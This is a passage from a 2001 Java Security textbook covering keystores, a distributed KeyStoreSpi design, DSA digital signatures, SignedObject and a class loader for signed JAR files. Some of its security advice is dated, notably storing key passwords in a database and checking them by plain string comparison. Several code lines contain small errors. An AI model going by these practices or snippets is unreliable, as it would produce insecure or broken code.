                    X509Certificate x509 = (X509Certificate)
                                        certs[certs.length - 1];
                    System.out.println(args[0] + " was verified by " +
                        x509.getIssuerDN());
                }
            }
            else if (ks.isCertificateEntry(args[0])) {
                System.out.println(args[0] +
                            " is a certificate entry in the keystore");
                Certificate c = ks.getCertificate(args[0]);
                if (c instanceof X509Certificate) {
                    X509Certificate x509 = (X509Certificate) c;
                    System.out.println(args[0] + " is really " +
                        x509.getSubjectDN());
                    System.out.println(args[0] + " was verified by " +
                        x509.getIssuerDN());
                }
            }
            else {
                System.out.println(args[0] +
                        " is unknown to this keystore");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

This program expects two arguments: the name of the entity in the keystore for which information is desired, and the password that was used to encrypt the private key.

There are a number of points to pick out from this example. First, note that we constructed the keystore using the convention we mentioned earlier--the .keystore file in the user's home directory.

After we've read in the data, the first thing we do is determine if the entry that we're interested in is a key entry or a certificate entry--mostly so that we can handle the certificates for these entries differently. In the case of a key entry, we obtain the entire certificate chain, and use the first entry in that chain to print out the Distinguished Name (DN) for the entry, while the last entry in the chain is used to print out the DN for the last certificate authority in the chain. For a certificate entry, our task is simpler: there is a single certificate, and we simply print out its information.

Previous | Home | Next
11.1. Overview of Key Management | Book Index | 11.3. A Key Management Example
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Key Management Example (Java Security)

 Java Security Search this book

11.3. A Key Management Example

The Sun implementation of the keytool utility is useful in many circumstances where users have disjoint databases. In Figure 11-1 we showed just such an example, and we mentioned that this example was set up in such a way that the code signer and the end user could have different key databases.

This is not to say, however, that those two databases could not have been the same database--that is, one that is shared by the signer and the end user. Since access to the private key of the signer is protected by a password, the signer and the end user are able to share a single database without concern that the end user may obtain access to the signer's private key (assuming that she keeps her password secret, of course). In the case of a corporate network, this flexibility is important, since an enterprise may want to maintain a single database that contains the private keys of all of its employees as well as the certificates of all known external entities.

We could have these users share the keystore by using the appropriate filename in the application and the java.policy files. But sharing the keytool database by a file is somewhat inefficient. If the global file is on a machine in New York and is referenced by a user in Tokyo, you'll want to use a better network protocol to access it than a file-based protocol. In addition, the load() method reads in the entire file. If there are 10,000 users in your corporate keystore database, you shouldn't need to read each entry into memory to find the one entry you are interested in using.

Hence, for many applications, you'll want to provide your own implementation of the KeyStore class. We'll show a very simple example here as a starting point for your own implementations. For the payroll application being deployed by XYZ Corporation, a database containing each employee in the corporation is necessary. The HR department could set up its own keystore for this purpose, but a similar keystore will be needed by the finance department to implement its 401K application; a better solution is to have a single keystore that is shared between all departments of XYZ Corporation.

In this case, the question becomes how best to share this keystore. A single global file would be too large for programs to read into memory and too unwieldy for administrators to distribute to all locations of XYZ Corporation. A better architecture is shown in Figure 11-2. Here, the application uses the security provider architecture to instantiate a new keystore object (of a class that we'll sketch out below). Unknown to the users of this object, the keystore class uses RMI (or CORBA, or any other distributed computing protocol) to talk to a remote server, which accesses the 10,000 employee records from a database set up for that purpose.

Figure 11-2. A distributed keystore example

Without getting bogged down in the details of the network and database programming required for this architecture, let's look at how the KeyStore class itself would be designed.

Implementing a keystore requires that we write a KeyStoreSpi class, just as any other engine class. For most methods in the KeyStore class, there is a corresponding abstract engine method in the KeyStoreSpi class that you must provide an implementation for. A complete list of these methods is given in Table 11-1.

Table 11-1. Engine methods in the KeyStoreSpi class

KeyStore Class | KeyStoreSpi class
aliases | engineAliases
containsAlias | engineContainsAlias
deleteEntry | engineDeleteEntry
getCertificate | engineGetCertificate
getCertificateAlias | engineGetCertificateAlias
getCertificateChain | engineGetCertificateChain
getCreationDate | engineGetCreationDate
getKey | engineGetKey
isCertificateEntry | engineIsCertificateEntry
isKeyEntry | engineIsKeyEntry
load | engineLoad
setCertificateEntry | engineSetCertificateEntry
setKeyEntry | engineSetKeyEntry
size | engineSize
store | engineStore

Many of the methods of our new class are simple passthroughs to the remote server. If the handle to the remote server is held in the instance variable rks, a typical method looks like this:

Class Definition

public Date engineGetCreationDate(String alias) {
    return rks.getCreationDate(alias);
}

The methods that could be implemented in this manner are:

Class Definition

engineGetKey()
engineGetCertificateChain()
engineGetCertificate()
engineGetCreationDate()
engineAliases()
engineContainsAlias()
engineSize()
engineIsKeyEntry()
engineIsCertificateEntry()
engineGetCertificateAlias()

On the other hand, many methods should probably throw an exception--especially those methods that are designed to alter the keystore. In an architecture such as this one, changes to the keystore should probably be done through the database itself--or at least through a different server than the server used by all employees in the corporation. So many functions may look simply like this:

Class Definition

public void engineSetKeyEntry(String alias, Key key,
                        char[] passphrase, Certificate chain[])
                            throws KeyStoreException {
    throw new KeyStoreException("Can't change the keystore");
}

Methods that could be implemented in this manner are:

Class Definition

engineSetKeyEntry()
engineSetCertificateEntry()
engineDeleteEntry()
engineStore()

Note that we did not include the engineLoad() method in the above list. The engineLoad() method is useful to us, because it allows the application to require a password from the user before a connection to the remote server can be made. This differs slightly from normal programming for this class. Typically, the engineLoad() method is called with the input stream from which to read the keystore. In this case, the engineLoad() method is expected to be called with a null input stream, and sets up the connection to the remote server itself:

Class Definition

public void engineLoad(InputStream is, char[] password)
        throws IOException, NoSuchAlgorithmException,
                CertificateException {
    rks = Naming.lookup("rmi://KSServer/DistributedKeyServer");
    if (!rks.authenticate(password)) {
        rks = null;
        throw new IOException("Incorrect password");
    }
}

Since the keystore database in this architecture cannot be written through the server, there is some question as to whether a password should be required to access the keystore at all (since there are individual passwords on the private keys). Every employee will potentially have access to the password (unless it is embedded into the application itself); you can decide if a password really adds security in that case. If no password is desired, the engineLoad() method could be empty and the connection to the remote server could be made in the constructor.

On the server side, implementation of the required methods is simply a matter of making appropriate database calls:

Class Definition

public int engineSize() {
    int sz = -1;
    try {
        Connection conn = connectToDatabase();
        Statement st = conn.createStatement();
        boolean restype = st.execute("select count(*) from entries");
        if (restype) {
            ResultSet rs = st.getResultSet();
            sz = Integer.parseInt(rs.getString(1));
        }
        st.cancel();
    } catch (Exception e) {
        ...
    }
    finally {
        return sz;
    }
}

This architecture works well because it allows the passwords for each of the private keys to be held in the database itself, so retrievals of private keys can easily test the password via a simple string comparison. Implementations of file-based keystores are more problematic: if the file is readable by the user, obviously the password cannot be stored in the file as a simple string. File-based keystores must store their passwords and their private keys in encrypted form, perhaps using the encryption APIs we'll examine in Chapter 13, "Encryption". Assuming that the database machine is secured, such encryption is not required in this architecture.

Encrypting Private Keys

In this section, we've discussed the need for private keys to be stored encrypted whenever those keys are stored in a location that is generally accessible to other users. The Sun implementation of the KeyStore class does this using an internal algorithm to perform the encryption.

The strength of this encryption is limited; because it is part of the standard Sun distribution, the encryption must be weak enough to be exportable from the United States. "Weak" is a relative term in this context; it still requires some effort for the encryption to be broken, but it can be done.

In your own KeyStore class, if you need to encrypt the private keys you'll want to use the strongest form of encryption that is suitable for your situation. If you're a multinational organization, this encryption will not be very strong, and you're better off storing your private keys on a private database as we've described here.

There are unlimited possibilities in the implementation of a keystore. One technique might be to create a floppy for each employee that contains only that employee's entry and to write a keystore class that looks for key entries from the file on the floppy and for certificate entries from a global file somewhere.[3] This type of implementation is very simple. The new keystore can contain two instances of the Sun KeyStore class that have read in both files, and it can use object delegation to implement all of its methods.

[3]Of course, we don't want to use a floppy for this--we want to use a Java-enabled smart card, though of course we don't all have smart card readers on our computers. At least, not yet...

Note that this type of two-tiered system is really the ideal. If the private keys are transmitted over the network, as in our previous case, then internal spies on the network might snoop the password used to retrieve the key or the private key that is sent back. If the private key is held locally, however, and only the public keys are retrieved from the remote key store, you have a much better implementation.

11.3.1. Installing a KeyStore Class

In order to use an alternate keystore implementation, you must install your new class into a security provider. If necessary, you'll need to establish a convention by which the input stream that is opened for the load() method is created--unless your keystore does not require one at all (as, for example, our RMI-based keystore would not).

The Policy class uses the keystore in a predictable manner. Given this entry in the java.policy file:

Class Definition

grant signedBy, "sdo", codeBase "http://piccolo/" {
        ...
}

the Policy class uses the keystore to look up the alias for sdo, retrieve sdo's public key, and use that public key to verify any signature that comes from the site piccolo. Remember, however, that the Sun implementation of the Policy class requires an entry in the java.policy file that specifies the URL from which to load the keystore.

Previous | Home | Next
11.2. The KeyStore Class | Book Index | 11.4. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

11.4. Summary

In this chapter we examined the key management facilities of Java. Key management revolves around keys and certificates--ideas we've already discussed--but it also depends upon the notion of an identity--an individual or a corporation--and the idea that a particular identity can be certified.

Key management in Java can be handled either programmatically with the standard Java API or with the key management tool keytool. Keytool itself is a good example of how the programming API can be used, although there are some trade-offs involved here; for example, loading a large keystore is not necessarily the most appropriate choice for a thin-client application. Fortunately, the security package gives us the necessary tools to implement our own keystore when that is appropriate.

For all the time we've spent on them, keys are not interesting by themselves. They are interesting for what they allow us to do, which among other things includes the ability to operate on a digital signature. In the next chapter, we'll look at digital signatures, their relationship to keys, and the operations that keys and digital signatures enable us to perform.

Previous | Home | Next
11.3. A Key Management Example | Book Index | 12. Digital Signatures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Digital Signatures (Java Security)

 Java Security Search this book

Chapter 12. Digital Signatures

Contents:

The Signature Class
Signed Classes
Implementing a Signature Class
Summary

In the previous few chapters, we've examined various aspects of Java's security package with an eye toward the topics of this chapter: the ability to generate and to verify digital signatures. We've now reached the fruits of that examination. In this chapter, we'll explore the mechanisms of the digital signature.

The use and verification of digital signatures is another standard engine that is included in the security provider architecture. Like the other engines we've examined, the classes that implement this engine have both a public interface and an SPI for implementors of the engine.

In the JDK, the most common use of digital signatures is to create signed classes; users have the option of granting additional privileges to these signed classes using the mechanics of the access controller. In addition, a security manager and a class loader can use this information to change the policy of the security manager; this technique is quite useful in 1.1. Hence, we'll also show an example that reads a signed JAR file.

12.1. The Signature Class

Operations on digital signatures are abstracted by the Signature class (java.security.Signature):

public abstract class Signature extends SignatureSpi

Provide an engine to create and verify digital signatures. In Java 1.1, there is no SignatureSpi class, and this class simply extends the Object class.

The Sun security provider includes a single implementation of this class that generates signatures based on the DSA algorithm.

12.1.1. Using the Signature Class

As with all engine classes, instances of the Signature class are obtained by calling one of these methods:

public static Signature getInstance(String algorithm)
public static Signature getInstance(String algorithm, String provider)

Generate a signature object that implements the given algorithm. If no provider is specified, all providers are searched in order for the given algorithm as discussed in Chapter 8, "Security Providers"; otherwise, the system searches for the given algorithm only in the given provider. If an implementation of the given algorithm is not found, a NoSuchAlgorithmException is thrown. If the named security provider cannot be found, a NoSuchProviderException is thrown.

Beginning in 1.2,[1] if the algorithm string is "DSA", the string "SHA/DSA" is substituted for it. Hence, implementors of this class that provide support for DSA signing must register themselves appropriately (that is, with the message digest algorithm name) in the security provider.

[1]1.2 is now Java 2.

Once a signature object is obtained, the following methods can be invoked on it:

public void final initVerify(PublicKey publicKey)

Initialize the signature object, preparing it to verify a signature. A signature object must be initialized before it can be used. If the key is not of the correct type for the algorithm or is otherwise invalid, an InvalidKeyException is thrown.

public final void initSign(PrivateKey privateKey)

Initialize the signature object, preparing it to create a signature. A signature object must be initialized before it can be used. If the key is not of the correct type for the algorithm or is otherwise invalid, an InvalidKeyException is thrown.

public final void update(byte b)
public final void update(byte[] b)
public final void update(byte b[], int offset, int length)

Add the given data to the accumulated data the object will eventually sign or verify. If the object has not been initialized, a SignatureException is thrown.

public final byte[] sign()
public final int sign(byte[] outbuf, int offset, int len) figure

Create the digital signature, assuming that the object has been initialized for signing. If the object has not been properly initialized, a SignatureException is thrown. Once the signature has been generated, the object is reset so that it may generate another signature based on some new data (however, it is still initialized for signing; a new call to the initSign() method is not required).

In the first of these methods, the signature is returned from the method. Otherwise, the signature is stored into the outbuf array at the given offset, and the length of the signature is returned. If the output buffer is too small to hold the data, an IllegalArgumentException will be thrown.

public final boolean verify(byte[] signature)

Test the validity of the given signature, assuming that the object has been initialized for verification. If the object has not been properly initialized, then a SignatureException is thrown. Once the signature has been verified (whether or not the verification succeeds), the object is reset so that it may verify another signature based on some new data (no new call to the initVerify() method is required).

public final String getAlgorithm()

Get the name of the algorithm this object implements.

public String toString()

A printable version of a signature object is composed of the string "Signature object:" followed by the name of the algorithm implemented by the object, followed by the initialized state of the object. The state is either <not initialized>, <initialized for verifying>, or <initialized for signing>. However, the Sun DSA implementation of this class overrides this method to show the parameters of the DSA algorithm instead.

public final void setParameter(String param, Object value) figure
public final void setParameter(AlgorithmParameterSpec param) figure

Set the parameter of the signature engine. In the first format, the named parameter is set to the given value; in the second format, parameters are set based on the information in the param specification.

In the Sun implementation of the DSA signing algorithm, the only valid param string is KSEED, which requires an array of bytes that will be used to seed the random number generator used to generate the k value. There is no way to set this value through the parameter specification, which in the Sun implementation always returns an UnsupportedOperationException.

public final Object getParameter(String param) figure

Return the named parameter from the object. The only valid string for the Sun implementation is KSEED.

public final Provider getProvider() figure

Return the provider that supplied the implementation of this signature object.

It is no accident that this class has many similarities to the MessageDigest class; a digital signature algorithm is typically implemented by performing a cryptographic operation on a private key and the message digest that represents the data to be signed. For the developer, this means that generating a digital signature is virtually the same as generating a message digest; the only difference is that a key must be presented in order to operate on a signature object. This difference is important, however, since it fills in the hole we noticed previously: a message digest can be altered along with the data it represents so that the tampering is unnoticeable. A signed message digest, on the other hand, can't be altered without knowledge of the key that was used to create it. The use of a public key in the digital signature algorithm makes the digital signature more attractive than a message authentication code, in which there must be a shared key between the parties involved in the message exchange.

Let's take our example from Chapter 9, "Message Digests" where we saved a message and its digest to a file; we'll modify it now to save the message and the digital signature. We can create the digital signature like this:

Class Definition

public class Send {
    public static void main(String args[]) {
        String data;
        data = "This have I thought good to deliver thee, " +
                "that thou mightst not lose the dues of rejoicing " +
                "by being ignorant of what greatness is promised thee.";

        try {
            FileOutputStream fos = new FileOutputStream("test");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            KeyStore ks =
                      KeyStore.getInstance(KeyStore.getDefaultType());
            ks.load(new FileInputStream(
                                System.getProperty("user.home") +
                                File.separator + ".keystore"), null);
            char c[] = new char[args[1].length()];
            args[1].getChars(0, c.length, c, 0);
            PrivateKey pk = (PrivateKey) ks.getKey(args[0], c);

            Signature s = Signature.getInstance("DSA");
            s.initSign(pk);

            byte buf[] = data.getBytes();
            s.update(buf);
            oos.writeObject(data);
            oos.writeObject(s.sign());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

This example puts together many of the examples from the past few chapters. In order to create the digital signature we must accomplish the following:

  1. Obtain the private key that is used to sign the data. Here we're using the conventional keystore database ($HOME/.keystore) and the command-line arguments to obtain the alias and password of the private key we want to use.

  2. Obtain a signing object via the getInstance() method and initialize it. Since we're creating a signature in this example, we use the initSign() method for initialization.

  3. Pass the data to be signed as a series of bytes to the update() method of the signing object. Multiple calls could be made to the update() method even though in this example we only need one.

  4. Obtain the signature by calling the sign() method. We save the signature bytes and write them to a file with the data so that the data and the signature can be retrieved at a later date.

Reading the data and verifying the signature are similar:

Class Definition

public class Receive {
    public static void main(String args[]) {
        try {
            String data = null;
            byte signature[] = null;
            FileInputStream fis = new FileInputStream("test");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object o = ois.readObject();
            try {
                data = (String) o;
            } catch (ClassCastException cce) {
                System.out.println("Unexpected data in file");
                System.exit(-1);
            }
            o = ois.readObject();
            try {
                signature = (byte []) o;
            } catch (ClassCastException cce) {
                System.out.println("Unexpected data in file");
                System.exit(-1);
            }
            System.out.println("Received message");
            System.out.println(data);

            KeyStore ks =
                      KeyStore.getInstance(KeyStore.getDefaultType());
            ks.load(new FileInputStream(
                        System.getProperty("user.home") +
                        File.separator + ".keystore"), args[1]);

            Certificate c = ks.getCertificate(args[0]);
            PublicKey pk = c.getPublicKey();
            Signature s = Signature.getInstance("DSA");
            s.initVerify(pk);
            s.update(data.getBytes());
            if (s.verify(signature)) {
                System.out.println("Message is valid");
            }
            else System.out.println("Message was corrupted");
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

The process of verifying the signature still requires four steps. The major differences are that in step two, we initialize the signing object for verification by using the initVerify() method, and in step four, we verify (rather than create) the existing signature by using the verify() method. Note that we still have to know who signed the message in order to look up the correct key--but more about that a little later.

12.1.2. The SignedObject Class

In our last example, we had to create an object that held both the data in which we are interested and the signature for that data. This is a common enough requirement that Java provides the SignedObject class (java.security.SignedObject) to encapsulate an object and its signature:

public final class SignedObject implements Serializable figure

Encapsulate an object and its digital signature. The encapsulated object must be serializable so that a serialization of a signed object can do a deep copy of the embedded object.

Signed objects are created with this constructor:

public SignedObject(Serializable o, PrivateKey pk, Signature engine) figure

Create a signed object based on the given object, signing the serialized data in that object with the given private key and signature object. The signed object contains a copy of the given object; this copy is obtained by serializing the object parameter. If this serialization fails, an IOException is thrown.

It's very important to realize that this constructor makes, in effect, a copy of its parameter; if you create a signed object based on a string buffer and later change the contents of the string buffer, the data in the signed object remains unchanged. This preserves the integrity of the object encapsulated with its signature.

Here are the methods we can use to operate on a signed object:

public Object getContent() figure

Return the object embedded in the signed object. The object is reconstituted using object serialization; an error in serialization may cause either an IOException or a ClassNotFoundException to be thrown.

public byte[] getSignature() figure

Return the signature embedded in the signed object.

public String getAlgorithm() figure

Return the name of the algorithm that was used to sign the object.

public boolean verify(PublicKey pk, Signature s) figure

Verify the signature within the embedded object with the given key and signature engine. The signature engine parameter may be obtained by calling the getInstance() method of the Signature class. The underlying signature engine may throw an InvalidKeyException or SignatureException.

We'll use this class in examples later in this chapter.

12.1.3. Signing and Certificates

In the previous examples, we specified on the command line the name of the entity that we assumed generated the signature in the file. This was necessary because the file contained only the actual signature of the entity and the data that was signed; it did not contain any information about who the signer actually is. That's fine for an example, but it is not always appropriate in a real application. We could have asked the user for the name of the entity that was supposed to have signed the data, but that course is fraught with potential errors:

  • The user could have no idea what names are in the keystore of the application. Especially in a corporate environment, users may not know what data the keystore database might contain.

  • The user could get the name of the keystore alias wrong. Say that the application asks the user to enter the name of the signer; the user, knowing that the data came from me, may enter "sdo" as the alias of the identity.

    What the user may not remember is that when the keystore was first created, she received a public key from the San Diego Oil company; that public key was entered into the keystore with the alias "sdo." When my identity was added to the keystore, a different alias had to be chosen, so my public key was added with the alias "ScottOaks." But that was a long time ago, now forgotten, and because I use the sdo moniker all over my writings, the user assumes that I am the sdo in the keystore. And so the wrong alias will be chosen, and the signature verification will fail when it should have succeeded.

For these reasons, it makes more sense to include the public key with the signature and the signed data. This allows the application to find the identity based on the unique public key in order to determine who the signer of the data is.

We could do that by simply sending the encoded public key with the signature and data. A better solution, however, would be to send the certificate that verifies the public key. That way, if the public key is not found in the database, the credentials of the certificate can be presented to the user, and the user can have the opportunity to decide on the fly if the particular entity should be trusted.

Although an embedding of signature, data, and certificate is very common, the SignedObject class does not include the capability to contain a certificate. So we'll use the SignedObject class in this example, but we'll still need an object that contains the signed object and the certificate. We'd like to do this by extending the SignedObject class, but since that class is final we're forced to adopt this approach:

Class Definition

public class Message implements Serializable {
    SignedObject object;
    transient Certificate certificate;

    private void writeObject(ObjectOutputStream out)
                                    throws IOException {
        out.defaultWriteObject();
        try {
            out.writeObject(certificate.getEncoded());
        } catch (CertificateEncodingException cee) {
            throw new IOException("Can't serialize object " + cee);
        }
    }

    private void readObject(ObjectInputStream in)
                            throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        try {
            byte b[] = (byte []) in.readObject();
            CertificateFactory cf =
                        CertificateFactory.getInstance("X509");
        certificate = cf.generateCertificate(new
                             ByteArrayInputStream(b));
        } catch (CertificateException ce) {
            throw new IOException("Can't de-serialize object " + ce);
        }
    }
}

We've made the certificate variable in this class transient and have explicitly serialized and deserialized it using its external encoding. As we discussed in Chapter 10, "Keys and Certificates", whenever we have an embedded certificate or key, we must follow a procedure like this to ensure that the receiving party is able to deserialize the class.

As it turns out, the X509 certificate implementation that comes with the JDK (that is, the sun.security.x509.X509CertImpl class) also overrides the writeObject() and readObject() methods, so if we serialize a certificate explicitly, the encoded data is written to or read from the file. It is not sufficient to rely upon that, however--if we use the default serialization methods for the Message class, a reference to the sun.security.x509.X509CertImpl class is embedded into the serialized stream. A user with another security provider (and hence a different implementation of the X509Certificate class) would not be able to deserialize the stream because there is no access to the Sun implementation of the X509Certificate class. Explicitly serializing and deserializing the certificate as we've done here avoids embedding any reference to the provider class and makes the data file more portable.

When we save the message to the file, we now have to make sure that we save a certificate with it. Other than that, changes to the class are minor:

Class Definition

public class SendObject {
    public static void main(String args[]) {
        try {
            FileOutputStream fos = new FileOutputStream("test.obj");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            KeyStore ks =
                     KeyStore.getInstance(KeyStore.getDefaultType());
            char c[] = new char[args[1].length()];
            args[1].getChars(0, c.length, c, 0);
            ks.load(new FileInputStream(
                    System.getProperty("user.home") +
                    File.separator + ".keystore"), c);

            Certificate certs[] = ks.getCertificateChain(args[0]);
            PrivateKey pk = (PrivateKey) ks.getKey(args[0], c);
            Message m = new Message();
            m.object = new SignedObject(
              "This have I thought good to deliver thee, " +
              "that thou mightst not lose the dues of rejoicing " +
              "by being ignorant of what greatness is promised thee.",
                            pk, Signature.getInstance("DSA"));
            m.certificate = certs[0];
            oos.writeObject(m);
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

Retrieving the data is now more complicated, since we must verify both the signature in the signed object and the identity of the authority that signed the embedded certificate:

Class Definition

public class ReceiveObject {
    private static void verifySigner(Certificate c, String name)
                                    throws CertificateException {
        Certificate issuerCert = null;
        X509Certificate sCert = null;
        KeyStore ks = null;

        try {
            ks = KeyStore.getInstance(KeyStore.getDefaultType());
            ks.load(new FileInputStream(
                        System.getProperty("user.home") +
                        File.separator + ".keystore"), null);
        } catch (Exception e) {
            throw new CertificateException("Invalid keystore");
        }

        try {
            String signer = ks.getCertificateAlias(c);
            if (signer !=null){
                System.out.println("We know the signer as " + signer);
                return;
            }
            for (Enumeration alias = ks.aliases();
                              alias.hasMoreElements();){
                String s = (String) alias.nextElement();
                try {
                    sCert = (X509Certificate) ks.getCertificate(s);
                } catch (Exception e) {
                    continue;
                }
                if (name.equals(sCert.getSubjectDN().getName())){
                    issuerCert = sCert;
                    break;
                }
            }
        } catch(KeyStoreException kse) {
            throw new CertificateException("Invalid keystore");
        }
        if (issuerCert == null) {
            throw new CertificateException("No such certificate");
        }
        try {
            c.verify(issuerCert.getPublicKey());
        } catch (Exception e) {
            throw new CertificateException(e.toString());
        }
    }

    private static void processCertificate(X509Certificate x509)
                                    throws CertificateParsingException {
        Principal p;
        p = x509.getSubjectDN();
        System.out.println("This message was signed by " +
                            p.getName());
        p = x509.getIssuerDN();
        System.out.println("This certificate was provided by " +
                            p.getName());
        try {
            verifySigner(x509, p.getName());
        } catch (CertificateException ce) {
            System.out.println("We don't know the certificate signer");
        }
        try {
            x509.checkValidity();
        } catch (CertificateExpiredException cee) {
            System.out.println("That certificate is no longer valid");
        } catch (CertificateNotYetValidException cnyve) {
            System.out.println("That certificate is not yet valid");
        }
    }

    public static void main(String args[]) {
        try {
            FileInputStream fis = new FileInputStream("test.obj");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object o = ois.readObject();
            if (o instanceof Message) {
                Message m = (Message) o;
                System.out.println("Received message");
                processCertificate((X509Certificate) m.certificate);
                PublicKey pk = m.certificate.getPublicKey();
                if (m.object.verify(pk, Signature.getInstance("DSA"))) {
                    System.out.println("Message is valid");
                    System.out.println(m.object.getObject());
                }
                else System.out.println("Message signature is invalid");
            }
            else System.out.println("Message is corrupted");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

We've seen most of this code in previous chapters; in particular, the processCertificate() method uses the standard certificate methods to extract and print information about the certificate. The new code for us is primarily in the verifySigner() method, where we search the entire keystore for a name that matches the issuer of the certificate that was sent to us. If we find a match, we use the corresponding public key to verify the certificate we received.

This method shows yet another need for an alternate implementation of the KeyStore class--if you have to search the entire list of keys for a matching certificate like this, you clearly don't want to perform a linear search each time. An alternate keystore could provide a more efficient means of searching for certificates.

Previous | Home | Next
11.4. Summary | Book Index | 12.2. Signed Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Signed Classes (Java Security)

 Java Security Search this book

12.2. Signed Classes

One of the primary applications of digital signatures in Java is to create and verify signed classes. Signed classes allow the expansion of Java's sandbox in two different ways:

  • The policy file can insist that classes coming from a particular site be signed by a particular entity before the access controller will grant that particular set of permissions. In the policy file, such an entry contains a signedBy directive:

    Class Definition

    grant signedBy "sdo", codeBase "http://piccolo.East.Sun.COM/" {
        java.io.FilePermission "-", "read,write";
}

    This entry allows classes that are loaded from piccolo.East.Sun.COM to read and write any local files under the current directory only if the classes have been signed by sdo.

  • The security manager can cooperate with the class loader in order to determine whether or not a particular class is signed; the security manager is then free to grant permissions to that class based on its own internal policy. This technique is far more important in Java 1.1, since most Java 1.2 security managers simply defer decisions to the access controller.

In this section, we'll explore the necessary components behind this expansion of the Java sandbox. This example in the rest of the section fills in the remaining details of the JavaRunner program by showing us how to use a signed class.

There are three necessary ingredients to expand the Java sandbox with signed classes:

  • A method to create the signed class. The jarsigner utility is used for this (see Appendix A, "Security Tools").

  • A class loader that knows how to understand the digital signature associated with the class. The URLClassLoader class knows how to do this, but we'll show an example of how to do that for our JavaRunnerLoader class as well.

  • A security manager or access controller that grants the desired permissions based on the digital signature. The default access controller will do this for us; we'll show how the security manager might do this directly.

12.2.1. Reading Signed JAR Files

Signed classes in the Java-browser world are typically delivered as signed JAR files; there are various tools (javakey for Java 1.1 and jarsigner for Java 1.2) that can take an ordinary JAR file and attach a digital signature to it. A signed JAR file has three special elements:

  • A manifest (MANIFEST.MF), containing a listing of the files in the archive that have been signed, along with a message digest for each signed file.

  • A signature file (XXX.SF, where XXX is the name of the entity that signed the archive) that contains signature information. The data in this file is comprised of message digests of entries in the manifest file.

  • A block file (XXX.DSA, where XXX is the name of the entity that signed the archive and DSA is the name of the signature algorithm used to create the signature). The block file contains the actual signature data in a format known as PKCS7.

There are many advantages to this format, not the least of which is that the PKCS7 block file (that is, the signature itself) is a standard format for external signatures. Unfortunately, the necessary classes to create PKCS7 blocks are not part of Java's public API; if you want to be able to write a signed JAR file, you'll need to write the classes to create the signature block yourself.

However, we can read a signed JAR file using the core API. This means that the class loader we've been using for the JavaRunner program can be modified to read a standard JAR file and associate the digital signature of that archive with the classes it loads.

We'll enhance the JarLoader class loader that we first developed in Chapter 3, "Java Class Loaders" in order to read the signature. For reference, we'll show the entire class again here, although only the highlighted portions of it have changed (it also contains some methods that we added in Chapter 6, "Implementing Security Policies"):

Class Definition

public class JarLoader extends SecureClassLoader {
    private URL urlBase;
    public boolean printLoadMessages = true;
    Hashtable classArrays;
    Hashtable classIds;
    static int groupNum = 0;
    ThreadGroup threadGroup;

    public JarLoader(String base, ClassLoader parent) {
        super(parent);
        try {
            if (!(base.endsWith("/")))
                base = base + "/";
            urlBase = new URL(base);
            classArrays = new Hashtable();
            classIds = new Hashtable();
        } catch (Exception e) {
            throw new IllegalArgumentException(base);
        }
    }

    private byte[] getClassBytes(InputStream is) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        boolean eof = false;
        while (!eof) {
            try {
                int i = bis.read();
                if (i == -1)
                    eof = true;
                else baos.write(i);
            } catch (IOException e) {
                return null;
            }
        }
        return baos.toByteArray();
    }

    protected Class findClass(String name) {
        String urlName = name.replace('.', '/');
        byte buf[];
        Class cl;

        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            int i = name.lastIndexOf('.');
            if (i >= 0)
                sm.checkPackageDefinition(name.substring(0, i));
        }

        buf = (byte[]) classArrays.get(urlName);
        if (buf != null) {
            Certificate ids[] = (Certificate) classIds.get(urlName);
            CodeSource cs = new CodeSource(urlBase, ids);
            cl = defineClass(name, buf, 0, buf.length, cs);
            return cl;
        }

        try {
            URL url = new URL(urlBase, urlName + ".class");
            if (printLoadMessages)
                System.out.println("Loading " + url);
            InputStream is = url.openConnection().getInputStream();
            buf = getClassBytes(is);
            CodeSource cs = new CodeSource(urlBase, null);
            cl = defineClass(name, buf, 0, buf.length, cs);
            return cl;
        } catch (Exception e) {
            System.out.println("Can't load " + name + ": " + e);
            return null;
        }
    }

    public void readJarFile(String name) {
        URL jarUrl = null;
        JarInputStream jis;
        JarEntry je;

        try {
            jarUrl = new URL(urlBase, name);
        } catch (MalformedURLException mue) {
            System.out.println("Unknown jar file " + name);
            return;
        }
        if (printLoadMessages)
            System.out.println("Loading jar file " + jarUrl);

        try {
            jis = new JarInputStream(
                        jarUrl.openConnection().getInputStream());
        } catch (IOException ioe) {
            System.out.println("Can't open jar file " + jarUrl);
            return;
        }

        try {
            while ((je = jis.getNextJarEntry()) != null) {
                String jarName = je.getName();
                if (jarName.endsWith(".class"))
                    loadClassBytes(jis, jarName, je);
                // else ignore it; it could be an image or audio file
                jis.closeEntry();
            }
        } catch (IOException ioe) {
            System.out.println("Badly formatted jar file");
        }
    }

    private void loadClassBytes(JarInputStream jis,
                                    String jarName, JarEntry je) {
        if (printLoadMessages)
            System.out.println("\t" + jarName);
        BufferedInputStream jarBuf = new BufferedInputStream(jis);
        ByteArrayOutputStream jarOut = new ByteArrayOutputStream();
        int b;
        try {
            while ((b = jarBuf.read()) != -1)
                jarOut.write(b);
            String className = jarName.substring(0, jarName.length() - 6);
            classArrays.put(className, jarOut.toByteArray());
            Certificate c[] = je.getCertificates();
            if (c == null)
                c = new Certificate[0];
            classIds.put(className, c);
        } catch (IOException ioe) {
            System.out.println("Error reading entry " + jarName);
        }
    }

    public void checkPackageAccess(String name) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null)
            sm.checkPackageAccess(name);
    }

    ThreadGroup getThreadGroup() {
        if (threadGroup == null)
            threadGroup = new ThreadGroup(
